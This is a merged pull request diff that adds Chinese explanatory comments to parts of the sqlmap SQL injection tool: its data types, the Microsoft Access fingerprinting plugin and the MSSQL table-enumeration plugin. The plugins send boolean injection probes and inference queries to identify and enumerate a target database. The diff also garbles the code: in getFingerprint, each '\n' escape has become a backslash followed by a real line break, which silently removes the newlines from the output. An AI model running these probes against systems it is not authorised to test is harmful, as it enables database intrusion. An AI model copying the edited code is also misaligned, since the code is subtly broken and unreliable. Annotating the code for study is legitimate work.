Merge pull request '王生晖' (#21) from wangshenghui_new_branch into main

src/sqlmap-master/lib/core/datatype.py

@@ -5,13 +5,15 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import copy
+# 导入必要的模块
-import threading
+import copy # 导入 copy 模块，用于对象复制
-import types
+import threading # 导入 threading 模块，用于线程同步
+import types # 导入 types 模块，用于类型判断
 
-from thirdparty.odict import OrderedDict
+from thirdparty.odict import OrderedDict # 导入 thirdparty 中的 OrderedDict 类，用于实现有序字典
-from thirdparty.six.moves import collections_abc as _collections
+from thirdparty.six.moves import collections_abc as _collections # 导入 six 库中的 collections_abc 模块，用于抽象集合类
 
+# 定义 AttribDict 类，继承自 dict，允许以属性方式访问字典成员
 class AttribDict(dict):
     """
     This class defines the dictionary with added capability to access members as attributes
@@ -22,20 +24,20 @@ class AttribDict(dict):
     1
     """
 
+    # 初始化方法，接受一个字典 indict，一个属性 attribute 和一个布尔值 keycheck
     def __init__(self, indict=None, attribute=None, keycheck=True):
-        if indict is None:
+        if indict is None: # 如果 indict 为空，初始化为空字典
             indict = {}
 
-        # Set any attributes here - before initialisation
+        # 设置属性，这些属性在初始化前是普通属性
-        # these remain as normal attributes
         self.attribute = attribute
         self.keycheck = keycheck
-        dict.__init__(self, indict)
+        dict.__init__(self, indict) # 调用 dict 的初始化方法
-        self.__initialised = True
+        self.__initialised = True # 设置初始化完成标志
 
-        # After initialisation, setting attributes
+        # 在初始化之后，设置属性与设置字典项相同
-        # is the same as setting an item
 
+    # 定义 __getattr__ 方法，用于获取属性
     def __getattr__(self, item):
         """
         Maps values to attributes
@@ -43,89 +45,95 @@ class AttribDict(dict):
         """
 
         try:
-            return self.__getitem__(item)
+            return self.__getitem__(item) # 尝试获取字典项
-        except KeyError:
+        except KeyError: # 如果字典中不存在此键
-            if self.keycheck:
+            if self.keycheck: # 如果 keycheck 为 True
-                raise AttributeError("unable to access item '%s'" % item)
+                raise AttributeError("unable to access item '%s'" % item) # 抛出属性错误
-            else:
+            else: # 如果 keycheck 为 False
-                return None
+                return None # 返回 None
-
+
+    # 定义 __delattr__ 方法，用于删除属性
     def __delattr__(self, item):
         """
         Deletes attributes
         """
 
         try:
-            return self.pop(item)
+            return self.pop(item) # 尝试从字典中删除项
-        except KeyError:
+        except KeyError: # 如果字典中不存在此键
-            if self.keycheck:
+            if self.keycheck: # 如果 keycheck 为 True
-                raise AttributeError("unable to access item '%s'" % item)
+                raise AttributeError("unable to access item '%s'" % item) # 抛出属性错误
-            else:
+            else: # 如果 keycheck 为 False
-                return None
+                return None # 返回 None
-
+
+    # 定义 __setattr__ 方法，用于设置属性
     def __setattr__(self, item, value):
         """
         Maps attributes to values
         Only if we are initialised
         """
 
-        # This test allows attributes to be set in the __init__ method
+        # 在初始化方法中允许设置属性
         if "_AttribDict__initialised" not in self.__dict__:
             return dict.__setattr__(self, item, value)
 
-        # Any normal attributes are handled normally
+        # 正常处理普通属性
         elif item in self.__dict__:
             dict.__setattr__(self, item, value)
 
-        else:
+        else: # 其他情况，将属性映射到字典项
             self.__setitem__(item, value)
 
+    # 定义 __getstate__ 方法，用于支持序列化
     def __getstate__(self):
         return self.__dict__
 
+    # 定义 __setstate__ 方法，用于支持反序列化
     def __setstate__(self, dict):
         self.__dict__ = dict
 
+    # 定义 __deepcopy__ 方法，用于深拷贝
     def __deepcopy__(self, memo):
-        retVal = self.__class__()
+        retVal = self.__class__() # 创建一个新实例
-        memo[id(self)] = retVal
+        memo[id(self)] = retVal # 将新实例添加到 memo 中
 
-        for attr in dir(self):
+        for attr in dir(self): # 遍历所有属性
-            if not attr.startswith('_'):
+            if not attr.startswith('_'): # 忽略私有属性
-                value = getattr(self, attr)
+                value = getattr(self, attr) # 获取属性值
-                if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
+                if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): # 忽略内置函数、函数和方法
-                    setattr(retVal, attr, copy.deepcopy(value, memo))
+                    setattr(retVal, attr, copy.deepcopy(value, memo)) # 深拷贝属性值
 
-        for key, value in self.items():
+        for key, value in self.items(): # 遍历所有字典项
-            retVal.__setitem__(key, copy.deepcopy(value, memo))
+            retVal.__setitem__(key, copy.deepcopy(value, memo)) # 深拷贝字典项
 
-        return retVal
+        return retVal # 返回深拷贝后的实例
 
+# 定义 InjectionDict 类，继承自 AttribDict，用于存储注入相关信息
 class InjectionDict(AttribDict):
     def __init__(self):
-        AttribDict.__init__(self)
+        AttribDict.__init__(self) # 调用 AttribDict 的初始化方法
-
+
-        self.place = None
+        # 初始化注入信息
-        self.parameter = None
+        self.place = None # 注入位置
-        self.ptype = None
+        self.parameter = None # 注入参数
-        self.prefix = None
+        self.ptype = None # 参数类型
-        self.suffix = None
+        self.prefix = None # 前缀
-        self.clause = None
+        self.suffix = None # 后缀
-        self.notes = []  # Note: https://github.com/sqlmapproject/sqlmap/issues/1888
+        self.clause = None # 子句
-
+        self.notes = []  # 备注列表
-        # data is a dict with various stype, each which is a dict with
+
-        # all the information specific for that stype
+        # data 字典存储不同类型的注入数据
         self.data = AttribDict()
 
-        # conf is a dict which stores current snapshot of important
+        # conf 字典存储检测期间使用的重要选项的快照
-        # options used during detection
         self.conf = AttribDict()
 
-        self.dbms = None
+        self.dbms = None # 数据库类型
-        self.dbms_version = None
+        self.dbms_version = None # 数据库版本
-        self.os = None
+        self.os = None # 操作系统
 
-# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python
+# 定义 LRUDict 类，实现 LRU 缓存字典
+# 参考：https://www.kunxi.org/2014/05/lru-cache-in-python
 class LRUDict(object):
     """
     This class defines the LRU dictionary
@@ -141,40 +149,41 @@ class LRUDict(object):
     """
 
     def __init__(self, capacity):
-        self.capacity = capacity
+        self.capacity = capacity # 设置缓存容量
-        self.cache = OrderedDict()
+        self.cache = OrderedDict() # 使用 OrderedDict 作为缓存
-        self.__lock = threading.Lock()
+        self.__lock = threading.Lock() # 创建一个锁，用于线程同步
 
     def __len__(self):
-        return len(self.cache)
+        return len(self.cache) # 返回缓存长度
 
     def __contains__(self, key):
-        return key in self.cache
+        return key in self.cache # 判断键是否存在于缓存中
 
     def __getitem__(self, key):
-        value = self.cache.pop(key)
+        value = self.cache.pop(key) # 将键从缓存中移除
-        self.cache[key] = value
+        self.cache[key] = value # 将键添加回缓存，移动到最后
-        return value
+        return value # 返回键的值
 
     def get(self, key):
-        return self.__getitem__(key)
+        return self.__getitem__(key) # 获取键的值
 
     def __setitem__(self, key, value):
-        with self.__lock:
+        with self.__lock: # 获取锁，保证线程安全
             try:
-                self.cache.pop(key)
+                self.cache.pop(key) # 尝试从缓存中删除键
-            except KeyError:
+            except KeyError: # 如果键不存在
-                if len(self.cache) >= self.capacity:
+                if len(self.cache) >= self.capacity: # 如果缓存已满
-                    self.cache.popitem(last=False)
+                    self.cache.popitem(last=False) # 删除最老的项
-        self.cache[key] = value
+        self.cache[key] = value # 将键值添加到缓存中
 
     def set(self, key, value):
-        self.__setitem__(key, value)
+        self.__setitem__(key, value) # 设置键值
 
     def keys(self):
-        return self.cache.keys()
+        return self.cache.keys() # 返回缓存的所有键
 
-# Reference: https://code.activestate.com/recipes/576694/
+# 定义 OrderedSet 类，实现有序集合
+# 参考：https://code.activestate.com/recipes/576694/
 class OrderedSet(_collections.MutableSet):
     """
     This class defines the set with ordered (as added) items
@@ -192,57 +201,57 @@ class OrderedSet(_collections.MutableSet):
     """
 
     def __init__(self, iterable=None):
-        self.end = end = []
+        self.end = end = [] # 创建哨兵节点
-        end += [None, end, end]         # sentinel node for doubly linked list
+        end += [None, end, end]         # 双向链表的哨兵节点
-        self.map = {}                   # key --> [key, prev, next]
+        self.map = {}                   # 存储键值和链表节点的映射
         if iterable is not None:
-            self |= iterable
+            self |= iterable # 添加可迭代对象
 
     def __len__(self):
-        return len(self.map)
+        return len(self.map) # 返回集合长度
 
     def __contains__(self, key):
-        return key in self.map
+        return key in self.map # 判断键是否存在于集合中
 
     def add(self, value):
-        if value not in self.map:
+        if value not in self.map: # 如果值不在集合中
             end = self.end
             curr = end[1]
-            curr[2] = end[1] = self.map[value] = [value, curr, end]
+            curr[2] = end[1] = self.map[value] = [value, curr, end] # 添加新节点到链表尾部
 
     def discard(self, value):
-        if value in self.map:
+        if value in self.map: # 如果值在集合中
-            value, prev, next = self.map.pop(value)
+            value, prev, next = self.map.pop(value) # 移除节点
-            prev[2] = next
+            prev[2] = next # 更新链表
             next[1] = prev
 
     def __iter__(self):
         end = self.end
-        curr = end[2]
+        curr = end[2] # 从链表头开始遍历
         while curr is not end:
             yield curr[0]
-            curr = curr[2]
+            curr = curr[2] # 移动到下一个节点
 
     def __reversed__(self):
         end = self.end
-        curr = end[1]
+        curr = end[1] # 从链表尾开始遍历
         while curr is not end:
             yield curr[0]
-            curr = curr[1]
+            curr = curr[1] # 移动到上一个节点
 
     def pop(self, last=True):
-        if not self:
+        if not self: # 如果集合为空
             raise KeyError('set is empty')
-        key = self.end[1][0] if last else self.end[2][0]
+        key = self.end[1][0] if last else self.end[2][0] # 获取最后一个或第一个元素
-        self.discard(key)
+        self.discard(key) # 移除元素
-        return key
+        return key # 返回元素值
 
     def __repr__(self):
-        if not self:
+        if not self: # 如果集合为空
             return '%s()' % (self.__class__.__name__,)
-        return '%s(%r)' % (self.__class__.__name__, list(self))
+        return '%s(%r)' % (self.__class__.__name__, list(self)) # 返回字符串表示
 
     def __eq__(self, other):
-        if isinstance(other, OrderedSet):
+        if isinstance(other, OrderedSet): # 如果另一个对象是有序集合
-            return len(self) == len(other) and list(self) == list(other)
+            return len(self) == len(other) and list(self) == list(other) # 比较长度和内容
-        return set(self) == set(other)
+        return set(self) == set(other) # 比较集合内容

src/sqlmap-master/plugins/dbms/access/fingerprint.py

@@ -7,94 +7,109 @@ See the file 'LICENSE' for copying permission
 
 import re
 
-from lib.core.common import Backend
+# 1. 从库中引入需要的模块和类
-from lib.core.common import Format
+from lib.core.common import Backend  # 后端数据库信息
-from lib.core.common import getCurrentThreadData
+from lib.core.common import Format   # 格式化输出
-from lib.core.common import randomStr
+from lib.core.common import getCurrentThreadData # 获取当前线程的数据
-from lib.core.common import wasLastResponseDBMSError
+from lib.core.common import randomStr # 生成随机字符串
-from lib.core.data import conf
+from lib.core.common import wasLastResponseDBMSError # 判断最后响应是否包含数据库错误
-from lib.core.data import kb
+from lib.core.data import conf # 全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 全局知识库
-from lib.core.enums import DBMS
+from lib.core.data import logger # 日志记录器
-from lib.core.session import setDbms
+from lib.core.enums import DBMS # 数据库类型枚举
-from lib.core.settings import ACCESS_ALIASES
+from lib.core.session import setDbms # 设置当前数据库类型
-from lib.core.settings import METADB_SUFFIX
+from lib.core.settings import ACCESS_ALIASES # ACCESS 数据库的别名
-from lib.request import inject
+from lib.core.settings import METADB_SUFFIX # 元数据表后缀
-from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+from lib.request import inject # 注入相关函数
-
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint # 通用指纹识别类
+
+# 2. 定义一个类 Fingerprint，继承自 GenericFingerprint
 class Fingerprint(GenericFingerprint):
+    # 3. 构造函数，初始化数据库类型
     def __init__(self):
         GenericFingerprint.__init__(self, DBMS.ACCESS)
 
+    # 4. 私有方法，检查是否在沙盒中运行
     def _sandBoxCheck(self):
-        # Reference: http://milw0rm.com/papers/198
+        # 参考链接: http://milw0rm.com/papers/198
         retVal = None
         table = None
 
+        # 5. 根据 Access 版本设置需要查询的表名
         if Backend.isVersionWithin(("97", "2000")):
             table = "MSysAccessObjects"
         elif Backend.isVersionWithin(("2002-2003", "2007")):
             table = "MSysAccessStorage"
 
+        # 6. 如果有对应的表名，则执行查询判断是否处于沙盒环境
         if table is not None:
             result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
             retVal = "not sandboxed" if result else "sandboxed"
 
+        # 7. 返回检测结果
         return retVal
 
+    # 8. 私有方法，检查系统表是否存在
     def _sysTablesCheck(self):
         infoMsg = "executing system table(s) existence fingerprint"
         logger.info(infoMsg)
 
-        # Microsoft Access table reference updated on 01/2010
+        # 9. 定义不同版本 Access 需要检查的系统表
         sysTables = {
             "97": ("MSysModules2", "MSysAccessObjects"),
             "2000": ("!MSysModules2", "MSysAccessObjects"),
             "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
             "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
         }
+        # MSysAccessXML 是不稳定的系统表，因为它并非总是存在
 
-        # MSysAccessXML is not a reliable system table because it doesn't always exist
+        # 10. 遍历系统表，进行检查
-        # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
-
         for version, tables in sysTables.items():
             exist = True
 
             for table in tables:
                 negate = False
 
+                # 11. 如果表名以 ! 开头，表示该表应该不存在
                 if table[0] == '!':
                     negate = True
                     table = table[1:]
 
+                # 12. 执行 SQL 查询，检查表是否存在
                 result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table)
                 if result is None:
                     result = False
 
+                # 13. 如果表不应该存在，则取反
                 if negate:
                     result = not result
-
+                # 14. 对所有表的结果进行与运算，只有都满足才能认为当前版本匹配
                 exist &= result
 
                 if not exist:
                     break
-
+            # 15. 如果当前版本匹配，则返回版本号
             if exist:
                 return version
-
+        # 16. 如果所有版本都不匹配，则返回 None
         return None
 
+    # 17. 私有方法，获取数据库所在目录
     def _getDatabaseDir(self):
         retVal = None
 
         infoMsg = "searching for database directory"
         logger.info(infoMsg)
 
+        # 18. 生成随机字符串
         randStr = randomStr()
+        # 19. 执行 SQL 查询，尝试触发错误，获取数据库目录
         inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr))
 
+        # 20. 如果最后响应包含数据库错误
         if wasLastResponseDBMSError():
             threadData = getCurrentThreadData()
+            # 21. 从错误信息中提取数据库目录
             match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1])
 
             if match:
@@ -102,92 +117,115 @@ class Fingerprint(GenericFingerprint):
 
                 if retVal.endswith('\\'):
                     retVal = retVal[:-1]
-
+        # 22. 返回数据库目录
         return retVal
 
+    # 23. 获取指纹信息
     def getFingerprint(self):
         value = ""
+        # 24. 获取 Web 服务器操作系统指纹
         wsOsFp = Format.getOs("web server", kb.headersFp)
-
+        # 25. 将 Web 服务器操作系统指纹添加到输出
         if wsOsFp:
-            value += "%s\n" % wsOsFp
+            value += "%s\
+" % wsOsFp
 
+        # 26. 如果有数据库 Banner 信息
         if kb.data.banner:
+            # 27. 获取后端数据库操作系统指纹
             dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
-
+            # 28. 将后端数据库操作系统指纹添加到输出
             if dbmsOsFp:
-                value += "%s\n" % dbmsOsFp
+                value += "%s\
+" % dbmsOsFp
 
         value += "back-end DBMS: "
 
+        # 29. 如果不是详细指纹，则返回数据库类型
         if not conf.extensiveFp:
             value += DBMS.ACCESS
             return value
 
+        # 30. 获取活动的指纹信息
         actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck())
         blank = " " * 15
         value += "active fingerprint: %s" % actVer
 
+        # 31. 如果有 Banner 解析指纹
         if kb.bannerFp:
             banVer = kb.bannerFp.get("dbmsVersion")
-
+            # 32. 如果有 Banner 版本号
             if banVer:
+                # 33. 如果 Banner 信息包含 -log，则表示启用日志
                 if re.search(r"-log$", kb.data.banner or ""):
                     banVer += ", logging enabled"
-
+                # 34. 格式化 Banner 版本号
                 banVer = Format.getDbms([banVer])
-                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+                value += "\
+%sbanner parsing fingerprint: %s" % (blank, banVer)
 
+        # 35. 获取 HTML 错误指纹
         htmlErrorFp = Format.getErrorParsedDBMSes()
 
+        # 36. 将 HTML 错误指纹添加到输出
         if htmlErrorFp:
-            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+            value += "\
-
+%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
-        value += "\ndatabase directory: '%s'" % self._getDatabaseDir()
+        # 37. 获取数据库目录并添加到输出
-
+        value += "\
+database directory: '%s'" % self._getDatabaseDir()
+        # 38. 返回完整的指纹信息
         return value
 
+    # 39. 检查数据库类型是否为 Access
     def checkDbms(self):
+        # 40. 如果不是详细指纹，且当前数据库类型属于 Access 别名，则设置数据库类型为 Access 并返回 True
         if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES):
             setDbms(DBMS.ACCESS)
 
             return True
-
+        # 41. 输出正在测试的数据库类型
         infoMsg = "testing %s" % DBMS.ACCESS
         logger.info(infoMsg)
 
+        # 42. 执行 SQL 查询，检查数据库类型是否为 Access
         result = inject.checkBooleanExpression("VAL(CVAR(1))=1")
-
+        # 43. 如果查询成功
         if result:
             infoMsg = "confirming %s" % DBMS.ACCESS
             logger.info(infoMsg)
-
+            # 44. 执行 SQL 查询，再次确认数据库类型是否为 Access
             result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
-
+            # 45. 如果再次确认失败，则输出警告信息，并返回 False
             if not result:
                 warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
                 logger.warning(warnMsg)
                 return False
-
+            # 46. 设置数据库类型为 Access
             setDbms(DBMS.ACCESS)
 
+            # 47. 如果不是详细指纹，则返回 True
             if not conf.extensiveFp:
                 return True
-
+            # 48. 输出正在进行详细指纹识别
             infoMsg = "actively fingerprinting %s" % DBMS.ACCESS
             logger.info(infoMsg)
 
+            # 49. 执行系统表检查，获取 Access 版本
             version = self._sysTablesCheck()
-
+            # 50. 如果获取到版本信息，则设置数据库版本
             if version is not None:
                 Backend.setVersion(version)
-
+            # 51. 返回 True
             return True
+        # 52. 如果第一次查询失败，则输出警告信息，并返回 False
         else:
             warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
             logger.warning(warnMsg)
 
             return False
 
+    # 53. 强制枚举数据库类型
     def forceDbmsEnum(self):
+        # 54. 设置数据库名称
         conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_')

src/sqlmap-master/plugins/dbms/mssqlserver/enumeration.py

@@ -5,45 +5,50 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import re
+# 导入必要的模块
-
+import re # 导入正则表达式模块，用于进行模式匹配
-from lib.core.agent import agent
+
-from lib.core.common import arrayizeValue
+from lib.core.agent import agent # 导入 agent 模块，用于执行 SQL 注入
-from lib.core.common import getLimitRange
+from lib.core.common import arrayizeValue # 导入 arrayizeValue 函数，用于将值转换为列表
-from lib.core.common import isInferenceAvailable
+from lib.core.common import getLimitRange # 导入 getLimitRange 函数，用于生成限制范围
-from lib.core.common import isNoneValue
+from lib.core.common import isInferenceAvailable # 导入 isInferenceAvailable 函数，用于检查是否可以使用推断注入
-from lib.core.common import isNumPosStrValue
+from lib.core.common import isNoneValue # 导入 isNoneValue 函数，用于检查值是否为 None
-from lib.core.common import isTechniqueAvailable
+from lib.core.common import isNumPosStrValue # 导入 isNumPosStrValue 函数，用于检查值是否为正数字字符串
-from lib.core.common import safeSQLIdentificatorNaming
+from lib.core.common import isTechniqueAvailable # 导入 isTechniqueAvailable 函数，用于检查指定的注入技术是否可用
-from lib.core.common import safeStringFormat
+from lib.core.common import safeSQLIdentificatorNaming # 导入 safeSQLIdentificatorNaming 函数，用于安全地命名 SQL 标识符
-from lib.core.common import singleTimeLogMessage
+from lib.core.common import safeStringFormat # 导入 safeStringFormat 函数，用于安全地格式化字符串
-from lib.core.common import unArrayizeValue
+from lib.core.common import singleTimeLogMessage # 导入 singleTimeLogMessage 函数，用于只输出一次的日志消息
-from lib.core.common import unsafeSQLIdentificatorNaming
+from lib.core.common import unArrayizeValue # 导入 unArrayizeValue 函数，用于从列表中提取值
-from lib.core.compat import xrange
+from lib.core.common import unsafeSQLIdentificatorNaming # 导入 unsafeSQLIdentificatorNaming 函数，用于不安全地命名 SQL 标识符
-from lib.core.data import conf
+from lib.core.compat import xrange # 导入 xrange 函数，用于兼容 Python 2 和 3 的循环
-from lib.core.data import kb
+from lib.core.data import conf # 导入 conf 对象，用于访问全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 导入 kb 对象，用于访问全局知识库
-from lib.core.data import queries
+from lib.core.data import logger # 导入 logger 对象，用于输出日志
-from lib.core.enums import CHARSET_TYPE
+from lib.core.data import queries # 导入 queries 对象，用于获取预定义的 SQL 查询语句
-from lib.core.enums import DBMS
+from lib.core.enums import CHARSET_TYPE # 导入 CHARSET_TYPE 枚举，定义字符集类型
-from lib.core.enums import EXPECTED
+from lib.core.enums import DBMS # 导入 DBMS 枚举，定义数据库管理系统类型
-from lib.core.enums import PAYLOAD
+from lib.core.enums import EXPECTED # 导入 EXPECTED 枚举，定义期望的返回值类型
-from lib.core.exception import SqlmapNoneDataException
+from lib.core.enums import PAYLOAD # 导入 PAYLOAD 枚举，定义注入类型
-from lib.core.settings import CURRENT_DB
+from lib.core.exception import SqlmapNoneDataException # 导入 SqlmapNoneDataException 异常类，用于表示没有数据
-from lib.request import inject
+from lib.core.settings import CURRENT_DB # 导入 CURRENT_DB 常量，表示当前数据库
-from plugins.generic.enumeration import Enumeration as GenericEnumeration
+from lib.request import inject # 导入 inject 函数，用于执行 SQL 注入请求
-from thirdparty import six
+from plugins.generic.enumeration import Enumeration as GenericEnumeration # 导入 GenericEnumeration 类，作为当前类的父类
-
+from thirdparty import six # 导入 six 模块，用于兼容 Python 2 和 3
+
+# 定义 Enumeration 类，继承自 GenericEnumeration
 class Enumeration(GenericEnumeration):
+    # 定义 getPrivileges 方法，用于获取数据库用户的权限
     def getPrivileges(self, *args, **kwargs):
+        # 输出警告信息，说明在 Microsoft SQL Server 上无法获取用户权限，只会检查是否是 DBA
         warnMsg = "on Microsoft SQL Server it is not possible to fetch "
         warnMsg += "database users privileges, sqlmap will check whether "
         warnMsg += "or not the database users are database administrators"
         logger.warning(warnMsg)
 
-        users = []
+        users = [] # 初始化用户列表
-        areAdmins = set()
+        areAdmins = set() # 初始化管理员集合
 
+        # 如果配置中指定了用户，则使用该用户，否则获取所有用户
         if conf.user:
             users = [conf.user]
         elif not len(kb.data.cachedUsers):
@@ -51,91 +56,114 @@ class Enumeration(GenericEnumeration):
         else:
             users = kb.data.cachedUsers
 
+        # 遍历用户列表
         for user in users:
-            user = unArrayizeValue(user)
+            user = unArrayizeValue(user) # 从列表中提取用户
 
-            if user is None:
+            if user is None: # 如果用户为 None，则跳过
                 continue
 
-            isDba = self.isDba(user)
+            isDba = self.isDba(user) # 检查用户是否为 DBA
 
-            if isDba is True:
+            if isDba is True: # 如果是 DBA，则添加到管理员集合
                 areAdmins.add(user)
 
-            kb.data.cachedUsersPrivileges[user] = None
+            kb.data.cachedUsersPrivileges[user] = None # 设置用户的权限信息为 None
 
+        # 返回用户的权限信息和管理员集合
         return (kb.data.cachedUsersPrivileges, areAdmins)
 
+    # 定义 getTables 方法，用于获取数据库表
     def getTables(self):
+        # 如果知识库中已缓存表信息，则直接返回
         if len(kb.data.cachedTables) > 0:
             return kb.data.cachedTables
 
-        self.forceDbmsEnum()
+        self.forceDbmsEnum() # 强制执行 DBMS 枚举
 
+        # 如果配置中指定了当前数据库，则获取当前数据库
         if conf.db == CURRENT_DB:
             conf.db = self.getCurrentDb()
 
+        # 如果配置中指定了数据库，则分割数据库字符串，否则获取所有数据库
         if conf.db:
             dbs = conf.db.split(',')
         else:
             dbs = self.getDbs()
 
+        # 对每个数据库名进行安全命名
         for db in dbs:
             dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
 
+        # 移除空字符串的数据库
         dbs = [_ for _ in dbs if _]
 
+        # 输出获取表信息的提示信息
         infoMsg = "fetching tables for database"
         infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs)))
         logger.info(infoMsg)
 
+        # 获取 SQL Server 的表查询语句
         rootQuery = queries[DBMS.MSSQL].tables
 
+        # 检查是否可以使用 UNION、ERROR、QUERY 注入技术或直接连接
         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
+            # 遍历数据库列表
             for db in dbs:
+                # 如果配置中排除了系统数据库，则跳过
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
 
+                # 如果配置中指定了排除的数据库，则跳过
                 if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
 
+                # 尝试使用不同的查询语句获取表信息
                 for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
                     query = query.replace("%s", db)
-                    value = inject.getValue(query, blind=False, time=False)
+                    value = inject.getValue(query, blind=False, time=False) # 执行注入并获取结果
-                    if not isNoneValue(value):
+                    if not isNoneValue(value): # 如果结果不为 None，则跳出循环
                         break
 
+                # 如果获取到了表信息，则进行处理
                 if not isNoneValue(value):
-                    value = [_ for _ in arrayizeValue(value) if _]
+                    value = [_ for _ in arrayizeValue(value) if _] # 将结果转换为列表
-                    value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value]
+                    value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] # 安全命名表名
-                    kb.data.cachedTables[db] = value
+                    kb.data.cachedTables[db] = value # 将表信息缓存到知识库
 
+        # 如果没有获取到表信息，并且可以使用推断注入，则使用推断注入获取表信息
         if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
+            # 遍历数据库列表
             for db in dbs:
+                # 如果配置中排除了系统数据库，则跳过
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
 
+                # 如果配置中指定了排除的数据库，则跳过
                 if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
 
+                # 输出获取表数量的提示信息
                 infoMsg = "fetching number of tables for "
                 infoMsg += "database '%s'" % db
                 logger.info(infoMsg)
 
+                # 尝试使用不同的查询语句获取表数量
                 for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3):
                     _ = query.replace("%s", db)
-                    count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                    count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 执行推断注入并获取结果
-                    if not isNoneValue(count):
+                    if not isNoneValue(count): # 如果结果不为 None，则跳出循环
                         break
 
+                # 如果没有获取到有效的表数量，则跳过
                 if not isNumPosStrValue(count):
                     if count != 0:
                         warnMsg = "unable to retrieve the number of "
@@ -143,17 +171,18 @@ class Enumeration(GenericEnumeration):
                         logger.warning(warnMsg)
                     continue
 
-                tables = []
+                tables = [] # 初始化表列表
 
+                # 遍历表索引，获取每个表名
                 for index in xrange(int(count)):
                     _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index)
-
+                    table = inject.getValue(_, union=False, error=False) # 执行推断注入并获取结果
-                    table = inject.getValue(_, union=False, error=False)
+                    if not isNoneValue(table): # 如果结果不为 None，则添加到表列表
-                    if not isNoneValue(table):
                         kb.hintValue = table
-                        table = safeSQLIdentificatorNaming(table, True)
+                        table = safeSQLIdentificatorNaming(table, True) # 安全命名表名
                         tables.append(table)
 
+                # 如果获取到了表信息，则进行缓存，否则输出警告信息
                 if tables:
                     kb.data.cachedTables[db] = tables
                 else:
@@ -161,25 +190,31 @@ class Enumeration(GenericEnumeration):
                     warnMsg += "for database '%s'" % db
                     logger.warning(warnMsg)
 
+        # 如果没有获取到表信息，并且没有指定搜索，则抛出异常
         if not kb.data.cachedTables and not conf.search:
             errMsg = "unable to retrieve the tables for any database"
             raise SqlmapNoneDataException(errMsg)
         else:
+            # 对缓存的表名进行排序
             for db, tables in kb.data.cachedTables.items():
                 kb.data.cachedTables[db] = sorted(tables) if tables else tables
 
+        # 返回缓存的表信息
         return kb.data.cachedTables
 
+    # 定义 searchTable 方法，用于搜索指定的表
     def searchTable(self):
-        foundTbls = {}
+        foundTbls = {} # 初始化找到的表字典
-        tblList = conf.tbl.split(',')
+        tblList = conf.tbl.split(',') # 获取要搜索的表列表
-        rootQuery = queries[DBMS.MSSQL].search_table
+        rootQuery = queries[DBMS.MSSQL].search_table # 获取 SQL Server 的表搜索查询语句
-        tblCond = rootQuery.inband.condition
+        tblCond = rootQuery.inband.condition # 获取表搜索条件
-        tblConsider, tblCondParam = self.likeOrExact("table")
+        tblConsider, tblCondParam = self.likeOrExact("table") # 获取表搜索的方式 (LIKE 或 EXACT)
 
+        # 如果配置中指定了当前数据库，则获取当前数据库
         if conf.db == CURRENT_DB:
             conf.db = self.getCurrentDb()
 
+        # 如果配置中指定了数据库，则分割数据库字符串，否则获取所有数据库
         if conf.db:
             enumDbs = conf.db.split(',')
         elif not len(kb.data.cachedDbs):
@@ -187,40 +222,48 @@ class Enumeration(GenericEnumeration):
         else:
             enumDbs = kb.data.cachedDbs
 
